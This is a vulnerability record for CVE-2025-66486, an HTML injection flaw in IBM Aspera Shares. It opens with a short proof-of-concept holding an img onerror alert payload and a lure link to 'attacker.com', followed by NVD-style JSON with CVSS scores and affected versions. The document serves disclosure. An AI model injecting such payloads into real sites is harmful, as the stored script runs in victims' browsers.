CVE-2025-66486

<!-- PoC for HTML Injection in IBM Aspera Shares --> <!-- Payload to be injected in a vulnerable field (e.g., File Description) --> <img src=x onerror=alert('HTML_Injection_PoC')> <!-- Alternatively, a legitimate-looking link with malicious intent --> <a href="http://attacker.com" onmouseover="alert('XSS')">Click here for important file</a>

{"cve": {"id": "CVE-2025-66486", "sourceIdentifier": "[email protected]", "published": "2026-04-01T23:17:02.430", "lastModified": "2026-04-03T19:57:14.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Shares 1.9.9 through 1.11.0 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_shares:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.9", "versionEndExcluding": "1.11.1", "matchCriteriaId": "E91033A7-CCAD-49AB-814E-73898AC951E9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267848", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}